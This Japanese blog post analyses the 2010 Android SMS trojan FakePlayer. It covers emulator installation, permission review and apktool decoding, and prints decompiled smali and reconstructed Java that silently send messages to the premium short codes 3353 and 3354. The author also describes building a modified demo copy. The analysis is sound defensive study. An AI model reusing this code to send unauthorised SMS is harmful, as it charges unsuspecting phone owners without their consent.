トロイの木馬「Trojan-SMS.AndroidOS.FakePlayer.a」を調べてみる
2010年8月、Kaspersky Lab が Android で動作する「Trojan-SMS.AndroidOS.FakePlayer.a」(以後、AndroidMalwareと呼称)を確認したと発表しました。このトロイの木馬を見てみたいと思い探したところ、contagiodump がそのトロイの木馬を提供していました(要パスワード)。ちょうどAndroid について色々と調べたいと思っていたので、このトロイの木馬を調べてみました。
Android はまだまだ分からないことばかりなので、間違い等があれば教えてください。
結論
「Trojan-SMS.AndroidOS.FakePlayer.a」は、特定の宛先に対して 3 通の SMS メッセージを送信するだけのアプリのようです。このトロイの木馬を調べることで、Android のデバッグ環境や Android SDK に触れましたが、デバッグ環境やドキュメント等は充実しているように感じました。ただ、「AndroidMalware の稼動条項をどうやって確認すればいいんだ?」とか、「Samli コードのドキュメントはどこにあるんだ?」とか分からない点も多くありました。今後もちょこちょこ調べていくつもりです。
AndroidMalware をインストールするときに要求される権限を確認する
まずはインターネット経由で AndroidOS に AndroidMalware をインストールしてみました。この手順は、このインストール時に AndroidMalware がどのような権限の許可を求めてくるかを確認するためのものです。実際に AndroidMalware をインストールしようとすると、3 つの権限を要求されます(下図)。
許可を要求される 3 つの権限のうち、「電話/通話」、「料金の発生するサービス」の "SMS メッセージの送信" に関しては、Media Player に必要ない権限だと感じます*1。きちんと Android アプリの説明を読んだ上で、この許可を要求される権限を読めば、「あやしい・・・」と感づきそうですね。
Android Emulator に AndroidMalware を実行してみる
続いて、実際に AndroidMalware を実行してみます。自分の Xperia にインストールすることも考えてみましたが、さすがに挙動のよく分からないものをインストールするのはやだな。ということで、Android SDK に同梱されている Android Emulator 上で実行してみることにしました。
Android Emulator を起動する
まず次の手順で Android のデバッグ環境の一つである Android Emulatorを起動します。
- Android SDK をダウンロードする(ダウンロードはここから)
- SDK に同梱されている「SDK Setup.exe」を実行して、必要なツール群をダウンロードする
- SDK の tools/android.bat で、AVD(Android Virtual Device)を作成する。AndroidOS のバージョンは 1.6 を指定する*2
- SDK の tools/emulator.exe を実行する。実行時には 3.で作成した AVD を指定する
上記の手順を実行すると、Android Emulator が起動します(下図)。なお、下図は Android「設定」アプリにて Locale を Japanese に設定変更した後のものとなります。
Android Emulator に AndroidMalware をインストールする
Android Emulator を起動しておき、Android のデバッグツール Android Debug Bridge(ADB)を使用して、Android Emulator で動作している Android OS に AndroidMalware(Ru.apk)をインストールします。
AndroidMalware をインストールする手順は次の通りです。文頭が※の行は僕のコメントです。
G:\android>cd tools ※ここでは「G:\android」を Android SDK をインストールしたフォルダと仮定 G:\android\tools>adb devices List of devices attached emulator-5554 device G:\android\tools>adb -s emulator-5554 install RU.apk 403 KB/s (0 bytes in 12927.000s) pkg: /data/local/tmp/RU.apk Success
AndroidMalware をインストールすると、Android アプリの一覧に「Movie Player」が追加されていることが分かります。
AndroidMalware を実行してみる
AndroidMalware のインストールも完了したことから、このトロイの木馬を実行してみた。が、起動時にちらっと起動画面が出た後、何も起きていないように見えました。トロイの木馬を実行したときに Dalvik Debug Monitor Server(DDMS) で Android Monitor のログを見ていたところ、トロイの木馬を実行したときにエラーが発生していました(下図の反転部)。トロイの木馬が正常に起動していないかもしれません。トロイの木馬が正常に起動していない原因が Emulator 依存か、その他 Android の設定に依存しているかは分かりません。
AndroidMalware の .apk をデコードしてみる
android-apktool を使って、AndroidMalware の .apk パッケージをデコードしてみます。このツールは、同マルウェアの解析記事で知りました。
android-apktool をダウンロードし環境を整えたら、次のように apktool を実行します。
G:\apktools-1.3.1>apktool.bat d RU.apk RU.apk_decode I: Baksmaling... I: Loading resource table... I: Decoding resources... I: Loading resource table from file: C:\Documents and Settings\Administrator\apktool\framework\1.apk I: Copying assets and libs...
AndroidManifest.xml
デコードしたファイル群の中に、Android アプリのファイルに該当する AndroidManifest.xml があります。まずは、この xml ファイルをみてみます。AndroidManifest.xml は次のようになっていました。
<?xml version="1.0" encoding="UTF-8"?> <manifest package="org.me.androidapplication1" xmlns:android="http://schemas.android.com/apk/res/android"> <application android:icon="@drawable/icon"> <activity android:label="Movie Player" android:name=".MoviePlayer"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> <uses-permission android:name="android.permission.SEND_SMS" /> </manifest>
この xml ファイルで注目するのは、<activity> エレメント(5-10行目)、<uses-permission> エレメント(12行目)の 2 つです。それ以外はないんですけどね。
MoviePlayer.smali
apktool で .apk をデコードすると、class ファイルが samli コードで出力されます。AndroidMalware を実行したときに読み込まれる MoviePlayer クラスの samli コードを見てみます。なお、Smali については、こことか、ここを参考にしていますが、分からないとこが多いので、推測が混じっている点に注意してください。
MoviePlayer.smali をみると、以下に SMS メッセージを送信するコード(一部抜粋)がありました。他 2 箇所に同様のコードが確認できました。このことから、AndroidMalware を実行すると、計 3 通の SMS メッセージが送信されると考えます。
.line 35 invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; move-result-object v0 .line 54 .local v0, m:Landroid/telephony/SmsManager; const-string v1, "3353" .line 55 .local v1, destination:Ljava/lang/String; const-string v3, "798657" .line 57 .local v3, text:Ljava/lang/String; const/4 v2, 0x0 const/4 v4, 0x0 const/4 v5, 0x0 :try_start_0 invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
上記の Samli コードをもとに該当箇所の Java のソースコードを想像してみると、以下のようなものになると考えます。
SmsManager MySmsManager = SmsManager.getDefault(); String dstStr = "3353"; String msgStr = "798657"; try{ MySmsManager.sendTextMessage(dstStr, null, msgStr, null, null, null); }catch(Exception e){ ... }
デモ用 AndroidMalware を作成して動作させる(2010/08/19 追記)
デコードした AndroidMalware に次の修正を加えて、デモ用 AndroidMalware を作成してみました。
- SMS メッセージの宛先を "3353", "3354" から自分の番号に変更する
- Android Emulator で動作させたときにエラーが出ていた SQLite3 関連のコードを削除する
デモ用 AndroidMalware を自分の Xperia にインストールして、動作させました。インストールするだけでデモ用 AndroidMalware は動作しません。明示的に Android アプリのランチャーから実行する必要があります。デモ用 AndroidMalware を実行すると、SMS メッセージが 3 通届きます(下図)。このデモ用 AndroidMalware は起動する度に SMS メッセージ 3 通送信します。実際の AndroidMalware は、"3353" 宛に 2 通、"3354" 宛に 1 通 SMS メッセージを送信します。
参考情報
- Androidを標的とした初のトロイの木馬、SMSを自動発信 - ITmedia エンタープライズ
- http://developer.android.com/guide/developing/debug-tasks.html
- http://www.amazon.co.jp/dp/B003TLRNUC/
- 「特集:Android携帯を改造する」
- Android SDKのインストールでエラー(Failed to fetch URL)が出た - ありの日記
- http://blog.lionic.com/index.php?op=ViewArticle&articleId=12&blogId=1
- http://www.alienvault.com/blog/jaime/Malware/Analysis_of_Trojan-SMS.AndroidOS.FakePlayer.a.html
*1:Media Player の付加オプション等で必要となる可能性もゼロではないですが
*2:自分の持っている Xperia(SO-01B)を意識しました^^
*3:Manifest.permission で権限の一覧を確認できます